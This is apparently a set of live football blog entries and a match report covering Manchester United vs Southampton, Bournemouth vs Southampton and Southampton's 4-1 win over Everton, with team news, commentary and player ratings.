47: Matic takes another shot from distance but it’s straight at McCarthy, who makes it stick.

SIX MINUTES ADDED TIME

45: Close! Pogba plays an effortless crossfield pass over to Mkhitaryan, whose cross is glanced wide by Lingard. Hoedt given a yellow for kicking the ball away.

43: Southampton are NOT playing like a side in 15th position, or like a side who were stuffed by Tottenham. Plenty of confidence with the ball.

40: Maybe we should run a caption competition for the Jose Mourinho picture above. Winner will receive… nothing but my respect. Naff prize, but I’m skint!

39: The decibel levels rise as Manchester United win a corner. Mata and Mkhitaryan play a quick one-two but the cross is blocked. Matic tries his luck from well outside the area, but his left-footed effort flies over McCarthy’s crossbar.

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36: PENALTY SHOUT! Jesse Lingard is positive Manchester United should have a penalty after Yoshida handled his flick inside the area. I’ve just seen the replay again and it could have gone either way. Fans NOT happy with referee Craig Pawson.

33: Lovely cross from Ashley Young is JUST too high for Marcus Rashford, who guides it wide from point-blank range.

Incidentally, I’m hearing that Romelu Lukaku is being assessed by MUFC medical staff with ambulance on stand-by if required.

30: Commentators curse! Goalkeeper Alex McCarthy has now made his first save of the game, and it was a vital one. A floated ball drops for Rashford inside the six-yard box, and his shot cannons off Sam McQueen and back to the stopper.

Hojbjerg picks up the first yellow card of the game for a challenge on Shaw.

28: I’m sure Jose Mourinho will have told his players to test Southampton goalkeeper Alex McCarthy, who is starting his first top flight game since March 2016, when he was at Crystal Palace. He’s had nothing to do yet.

26: Wesley Hoedt gets on the end of a James Ward-Prowse corner for the visitors, but he glances his effort wide. Nobody was marking him!

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23: Lovely break from United. Rashford collects a loose ball from a Southampton corner and runs the length of the pitch. He sprays it wide to Henrikh Mkhitaryan, who fluffs the cross and sends it out of play.

21: Promising situation for Saints, who have themselves a free-kick just outside the penalty area. James Ward-Prowse goes for goal at the near post but David de Gea read that coming last week!

18: I’ll be sure to update you with any news of Romelu Lukaku. Fingers crossed the Belgian will make a quick recovery.

On with the game. Luke Shaw drives forward and sends a teasing delivery across the six-yard box, but nobody was there to apply the finish.

15: Scary stuff. The challenge looked innocuous enough but clearly it’s done more damage than first thought. Lukaku is stretchered off the field to a warm applause with Marcus Rashford replacing him.

12: OK, well this is serious. Romelu Lukaku has stayed down after clashing heads with Hoedt. The medical staff have brought the stretcher on and it looks like Lukaku will be playing no further part today.

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9: Close! Southampton have a cracking opportunity to make the breakthrough. The ball is cutback from the byline for James Ward-Prowse, whose goalbound effort is tipped away by David de Gea. There’s a pause in play as Romelu Lukaku hits the deck after a clash of heads.

6: Sitter! After some terrific build-up play involving Paul Pogba and Juan Mata, the Spaniard crosses and Romelu Lukaku heads over under no pressure whatsoever. Should be 1-0. 

3: Nice to see Henrikh Mkhitaryan back in the starting XI. Not from a spelling perspective, obviously. I doubt those little kids from ‘Child Genius’ could tackle that name!

Anyway, nothing much to mention in these opening exchanges. Even.

MANCHESTER UNITED 0-0 SOUTHAMPTON

1: Right, we’re off! After an exciting day of Premier League action Manchester United find themselves in third while Southampton are just a point above the relegation zone. Plenty at stake!

TWO-MINUTE WARNING

17:28: We’re almost underway folks. I’m trying to quickly eat my noodles before the game starts but all the forks are missing, so I’m left trying to scoff them down with chop sticks… authentic yes, practical nope.

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MOURINHO MOAN…

17:25: What’s that? Jose Mourinho is angry about something? Surely not.

The Portuguese feels Premier League leaders Manchester City’s spending power has “no limit,” and that has made it more difficult for others to keep pace.

He explained: “Pep arrived, he has the goalkeeper of England (Joe Hart). He doesn’t like him, he buys the goalkeeper of Barcelona (Claudio Bravo). He doesn’t like him. He buys another one (Ederson) now, he likes.

“He has (Pablo) Zabaleta and (Aleksandar) Kolarov, two very good players, but more than 30, he wants to replace, he doesn’t do it with two. He does it with three. One from Tottenham (Kyle Walker), one from Monaco (Benjamin Mendy) and one from Real Madrid (Danilo).

“Can we buy six or seven players at the same time? Can we invest £600 to 700million? No. So, it’s difficult.”

He’s also taken aim at Jurgen Klopp after Virgil van Dijk’s move, but I’ll save that for HT.

TEAM NEWS

17:20: OK, let’s run through this news quickly. All business from me tonight folks, I’ve got gig tickets and precious little pre-drinking time…

Jose Mourinho makes three changes from the draw with Burnley. Victor Lindelof, Jesse Lingard and Henrikh Mkhitaryan replace Marcos Rojo, Marcus Rashford and Zlatan Ibrahimovic.

Four changes for Saints with Alex McCarthy chosen ahead of Fraser Forster, which doesn’t surprise me.

Sam McQueen, Dusan Tadic and James Ward-Prowse come in for Matt Targett, Nathan Redmond and Mario Lemina.

MANCHESTER UNITED vs SOUTHAMPTON

17:15: And here’s tonight’s line-ups folks. No surprise to see Jesse Lingard recalled to the starting XI.

Manchester United XI: de Gea, Young, Lindelof, Jones, Shaw, Pogba, Matic, Mata, Mkhitaryan, Lingard, Lukaku.

Subs: Rojo, Martial, Blind, Rashford, Romero, Ander Herrera, Tuanzebe.

Southampton XI: McCarthy, Stephens, Yoshida, Hoedt, McQueen, Romeu, Tadic, Hojbjerg, Ward-Prowse, Boufal, Long.

Subs: Davis, Lemina, Gabbiadini, Redmond, Pied, Bednarek, Forster.

Referee: Craig Pawson.

EVENING

17:10: Welcome to our LIVE coverage of Manchester United vs Southampton from Old Trafford.

Jose Mourinho has the difficult task of engineering a victory against Southampton having spent a mere £300million since he arrived in the summer of 2016.

If you don’t what I’m talking about, stay tuned and I’ll explain…

It is fair to say Mourinho’s Christmas was far from merry. A Carabao Cup defeat to Championship side Bristol City was followed by disappointing draws with Leicester and Burnley as Manchester City extended their lead over United to 15 points.

A home fixture against a struggling Saints would seem a perfect chance for Mourinho to end 2017 with a modicum of joy.

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MANCHESTER UNITED vs SOUTHAMPTON – PREVIEW

Romelu Lukaku looks set to retain his place in Manchester United’s team, despite Jose Mourinho insisting he is jaded.

Mourinho said his striker is “tired” yet feels he cannot give him a rest. Anthony Martial and Matteo Darmian both returned to training on Thursday but remain doubtful with knocks.

Charlie Austin is unavailable for the Saints as he serves the second of a three-match ban. Ryan Bertrand (hamstring) faces a late fitness test, but Cedric Soares (ankle) will not feature.

Last season: Southampton 0 Man Utd 0, Man Utd 2 Southampton 0

Last five league matches: Man Utd L W W D D; Southampton D L L D L

Top scorers: Romelu Lukaku (Man Utd) 15; Charlie Austin (Southampton) 6

Referee: Craig Pawson (South Yorkshire)

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Alvaro Morata was left on the bench for Chelsea’s clash with Southampton as Antonio Conte opted to start Eden Hazard in a central role.

Blues fans are confused about the setup, with the after being sidelined with a back injury in midweek.

supporters are also unhappy about Tiemoue Bakayoko starting in central midfield alongside N’Golo Kante, while Danny Drinkwater was overlooked once more.

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LATER TODAY

11:50: The south coast derby isn’t the only show in town folks, not by a long shot.

Manchester City, the league leaders by eight points, have surprisingly found the going tougher in recent games, needing late winners to see off Huddersfield and Southampton.

But after 12th successive league wins, few would expect their winning sequence to come to an end as they host struggling West Ham.

David Moyes is still waiting for his first win since taking charge of the Hammers and, after slipping into the bottom three following a hammering at Everton on Wednesday, the odds do not look good for the Londoners this weekend.

NO HOME COMFORTS

11:45: Eddie Howe’s side have lost four of their seven home league games this season – just two fewer than they lost in the whole of 2016-17 (6).

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TEAM NEWS – BOURNEMOUTH

11:40: Mega changes for the Cherries too, and it’s NOT done my Fantasy Football side any favours.

Jermain Defoe, Adam Smith, Lewis Cook, Junior Stanislas and Ryan Fraser all start in the early kick-off. 

Callum Wilson, Steve Cook, Jordon Ibe and Marc Pugh drop to the bench.

No Harry Arter in the matchday squad.

TEAM NEWS – SOUTHAMPTON

11:35: Southampton make six changes. Yep, that’s way more than I expected after the narrow defeat to Manchester City on Wednesday.

Jeremy Pied, Charlie Austin, Dusan Tadic, Steven Davis, Sofiane Boufal and James Ward-Prowse all come in.

Miya Yoshida, Nathan Redmond, Mario Lemina and Pierre-Emile Hojbjerg are benched.

Shane Long who fails to recover from a calf problem, while Cedric Soares is also inured.

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BOURNEMOUTH vs SOUTHAMPTON

11:30: Here are your teams for today’s clash.

Bournemouth XI: Begovic, Smith, Francis, Ake, Daniels, L. Cook, Surman, Stanislas, Fraser, King, Defoe.

Subs: Boruc, S. Cook, Gosling, Pugh, Afobe, Wilson, Ibe.

Southampton XI: Forster, Pied, Hoedt, Van Dijk, Bertrand, Davis, Romeu, Ward-Prowse, Tadic, Boufal, Austin.

Subs: McCarthy, Yoshida, Lemina, Gabbiadini, Redmond, Hojbjerg, Targett.

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HAVE YOUR SAY

12:28: If you want to vent your frustrations, or discuss any issues in the world of football (within reason), then get in touch!

You can either comment at the bottom of the page or contact me via Twitter using the hashtag #ExpressSport.

AFTERNOON

12:25: Welcome to our LIVE coverage of Bournemouth vs Southampton from the Vitality Stadium.

We’re gearing up for the south coast derby, which many believe is NOT an actual derby.

We can get stuck into that later. I’ll require a bucket of coffee before I wade into that prickly debate…

Bournemouth host the Saints looking for an instant response from the midweek home defeat by Burnley, while Mauricio Pellegrino will hope to bounce back from that gutting last-second defeat to Manchester City.

Let’s get going!

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BOURNEMOUTH vs SOUTHAMPTON – PREVIEW

Bournemouth will make a late decision on midfielder Junior Stanislas. He has been out since the end of October with a groin problem but has resumed some training.

Defenders Brad Smith (hip) and Tyrone Mings (back) continue their rehabilitation.

Striker Shane Long will face a late fitness test for Southampton after sustaining a calf problem. He missed training on Friday and is due to be assessed again on Saturday.

Cedric Soares will definitely miss out after suffering a hamstring problem in Saints’ 2-1 loss at Manchester City on Wednesday.

Last season: Southampton 0 Bournemouth 0, Bournemouth 1 Southampton 3

Last five league matches: Bournemouth L W W D L; Southampton D L L W L

Top scorers (all competitions): Callum Wilson (Bournemouth) 4; Steven Davis, Manolo Gabbiadini & Charlie Austin (Southampton) 3

Referee: Jon Moss

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The truth is they don’t have to wait that long.

After the dismal display at St Mary’s Stadium, there can’t be any doubt the club is in danger of being sucked into the bottom three.

Facing a Southampton side, who had scored just nine goals in 12 League games, Unsworth’s side capitulated alarmingly.

From the moment Dusan Tadic put Saints in front in the 18th minute, the outcome was never in doubt, even if Gylfi Sigurdsson drew the visitors level immediately before the break.

Two goals from Charlie Austin on his first League start of the season and a late fourth from Steve Davis completed a one-sided win that left Unsworth forced to pick through the bones of another heavy defeat.

And while the caretaker-manager believes the prospect of back-to-back home fixtures against West Ham on Wednesday and Huddersfield on Saturday offers hope of an upturn, there is plenty of evidence to suggest Everton need more than the benefit of home advantage to turn things around.

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Unsworth pointed to the lack of confidence in his side that showed eight changes from the line-up that suffered a humiliating 5-1 Europa League defeat to Atalanta at Goodison Park last Thursday. That included dropping Wayne Rooney to the bench, where the former England skipper remained as the defeat unfolded.

The off-field uncertainty that has surrounded the club since Ronald Koeman was sacked was matched by the defensive display on the pitch. Southampton were good – but they didn’t have to be that good to secure three points that moved them up to mid-table.

As Everton wrestled with their own fragile confidence, Southampton took the opportunity to strengthen their own belief with Austin in particular taking his chance.

The striker admits to being frustrated at his lack of starts but he laid down a marker with two excellent second-half headers.

“You could say I had a point to prove,” he said. “But it was all about biding my time on the training pitch. Today I got my reward, and more importantly we got the three points.

“The fans can get behind us now. I know they’ve been a bit worried – and so have we, it’s not just been them.

“Let’s just push forward, get them right behind us now and let’s go on a little run because we’ve got a run coming up over Christmas and we’re going to need everybody going in the same direction.”

The pattern of the game was set when Phil Jagielka attempted to chest a free-kick back to Jordan Pickford and almost wrong-footed his own keeper after just five minutes.

Two minutes later Austin should have opened the scoring when he shot over from just 10 yards out, shortly before hitting the post with a first-time effort from Cedric’s low cross.

Tadic stepped in to give Pellegrino’s side the lead they deserved after Ryan Bertrand had led a sweeping break and delivered a low ball towards the Serb who got behind Leighton Baines and finished neatly.

Everton offered little by way of a response until Sigurdsson produced a rare moment of quality, beating Fraser Forster with a superb long-range chip.

Southampton, though, held their nerve at the start of the second half with Austin heading in from Bertrand’s 52nd-minute cross before repeating the feat from Tadic’s delivery six minutes later.

There was no chance of a response and Davis’ late strike summed up the afternoon for both managers.

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SOUTHAMPTON (4-2-3-1): Forster 6; Cedric 7, Van Dijk 7, Hoedt 7, Bertrand 8; Hojbjerg 7, Davis 7; Ward-Prowse 6, Tadic 8 (Lemina 78), Boufal 7 (Yoshida 86); Austin 9 (Long 80). Goals: Tadic 18, Austin 52 58, Davis 87. NEXT UP: Man City (a) Wed, PL.

EVERTON (4-2-3-1):  Pickford 6; Kenny 5, Jagielka 5, Keane 6 (Vlasic 75), Baines 5 (Williams 27, 5); Schneiderlin 4, Gueye 5; Lennon 5, Sigurdsson 6, Mirallas 5 (Lookman 64, 6); Calvert-Lewin 6. Goal: Sigurdsson 45. NEXT UP: West Ham (h) Wed, PL.

Referee: K Friend (Leics).

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